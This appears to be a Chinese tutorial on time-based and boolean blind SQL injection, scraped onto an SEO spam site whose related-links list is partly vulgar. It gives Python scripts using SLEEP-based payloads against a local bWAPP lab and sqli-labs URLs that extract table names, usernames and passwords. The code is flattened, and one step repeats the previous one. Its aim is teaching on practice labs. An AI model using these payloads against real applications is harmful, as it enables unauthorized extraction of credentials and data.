当前位置: 首页 > wzjs >正文

网站建设 会员可以看的内容更多百度网站提交入口

网站建设 会员可以看的内容更多,百度网站提交入口,商城网站建设计划书,做湲兔费网站视颍时间盲注 1.原理: 它利用数据库查询的延迟来推断注入语句是否成功执行,从而在不直接看到查询结果的情况下提取信息。 ​ 在时间盲注中,攻击者构造的注入语句会使数据库执行一个耗时操作(如休眠一段时间),然…

时间盲注

1.原理:
它利用数据库查询的延迟来推断注入语句是否成功执行,从而在不直接看到查询结果的情况下提取信息。
​
在时间盲注中,攻击者构造的注入语句会使数据库执行一个耗时操作(如休眠一段时间),然后根据Web应用程序的响应时间来判断注入语句是否被执行。如果注入成功,数据库会按照攻击者的要求休眠,导致应用程序的响应时间明显增加;如果注入失败,则响应时间不会发生变化。

适用场景:没有数据回显,条件正确与否结果一样

利用方式:构造判断条件,添加sleep,逐个猜测

2.时间盲注通常用于以下情况:
  1. 错误信息被禁用:当数据库或应用程序配置为不显示错误信息时,攻击者无法通过错误信息直接判断注入是否成功。

  2. 基于布尔的盲注受限:在某些情况下,基于布尔的盲注(通过True/False判断提取信息)可能受到限制,例如应用程序对响应内容进行了过滤或编码。

3.时间盲注的基本步骤如下:
  1. 构造注入语句:攻击者构造一个包含休眠函数的SQL注入语句。例如,在MySQL中,可以使用SLEEP()函数:

    SELECT * FROM users WHERE id = '1' AND (IF(条件, SLEEP(5), NULL));

    如果条件为真,数据库会休眠5秒。

  2. 发送请求:攻击者将构造的注入语句发送到目标应用程序。

  3. 观察响应时间:攻击者观察应用程序的响应时间。如果响应时间明显增加,说明注入语句中的条件为真,数据库执行了休眠操作。

  4. 逐位提取信息:通过构造不同的条件,攻击者可以逐位提取数据库中的信息。例如,判断某个字符是否等于特定值,然后根据响应时间来确定每一位的值。

例子:

1.构造sql语句
import requests
import  time
HEAD={"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():for i in range(100):url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:print(f"数据库名长度为{i}")return iif __name__=='__main__':get_database_length()

这里用开始时间减去响应完成的时间,算出整个过程的时间,如果大于1,说明sleep运行了,最后输出一下数据库名长度

2.求解数据库名称
def get_database_name(lens):name=""for i in range(lens):for j in range(30,130):url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:name+=chr(j)print(name)return name
if __name__=='__main__':get_database_name(get_database_length())
3.求解该数据库中有几张表
def get_table_count():for i in range(100):url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"该数据库一共有{i}张表")return i
if __name__=='__main__':get_table_count()
4.求解每个表名长度
def get_table_count():for i in range(100):url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"该数据库一共有{i}张表")return i
if __name__=='__main__':get_table_count()
5.求解表名
def get_table_name(lens):a=[]for i in range(len(lens)):temp=""for j in range(lens[i]):for k in range(30,130):url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k}  and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:temp+=chr(k)print(f"第{i+1}张表名为{temp}")a.append(temp)return a
if __name__=='__main__':get_table_name(get_table_leng(5))

Boolean盲注

(以sqli-labs less-5 (第五关)为例)

1.判断数据库长度及名字
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=8 -- -#数据库长度为8
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr(database(),1,1)='s'-- -#security
2.使用group_concat()语句猜测表名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29 -- - #group_concat()默认用逗号隔开 ,所以表名加逗号的长度是29
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e' -- -    #猜测表的名字同时用burp爆破
3.接下来猜测user表中的字段名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20 -- -  #字段名的长度20
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i'-- -  #爆破字段名
4.同理爆破字段username和password的内容得到相应的账号密码
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length((select group_concat(username) from security.users))=91 -- -   #判断出所有的 username的长度加上符号的长度是91
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and substr((select group_concat(username) from security.users),1,1)='d' -- -爆破所有的username值

http://www.dtcms.com/wzjs/486570.html

相关文章:

  • 佛山国内快速建站app推广平台有哪些
  • 个人域名网站可以做企业站吗seo工作内容和薪资
  • 拐角型布局网站武汉seo排名公司
  • 公司年前做网站好处网站推广业务
  • 公司基本介绍模版搜索排名优化策划
  • 做爰全过程网站免费的视频十大广告投放平台
  • 上海网站推广公司软文推广案例大全
  • 做面包网站网络推广理实一体化软件
  • 沈阳公司网站线上营销活动有哪些
  • 做木马的网站seo网站查询
  • 日照建站免费b站动漫推广网站2023
  • 招聘网站做专题的目的2022年列入传销组织最新骗法
  • 视频网站空间济南百度竞价开户
  • 专业做英文网站百度极速版免费下载安装
  • 作文网推荐广东公司搜索seo哪家强
  • 在网站做的pdf有水印如何删除网络建站流程
  • 网站被劫持应该怎么做百度指数官网
  • fireworks cs6如何做网站杭州搜索引擎优化公司
  • 建设银行网站名称怎么写长沙关键词排名软件
  • 摄影网站建设的论文游戏代理是怎么赚钱的如何代理游戏
  • 阳江企业网站5118站长工具箱
  • 安康做网站肇庆疫情最新消息
  • 企业网站自己可以做广告软文范例大全100
  • 石家庄网站建设备案seo工具优化软件
  • 做视频上传到网站怎么赚钱青岛网站建设制作推广
  • 网站是如何盈利的自媒体平台注册
  • 武汉网站开发培训班中国销售网
  • 与铁路建设相关的网站武汉百度百科
  • 网站默认样式重庆整站seo
  • 河南建设厅网站查证专业搜索引擎优化电话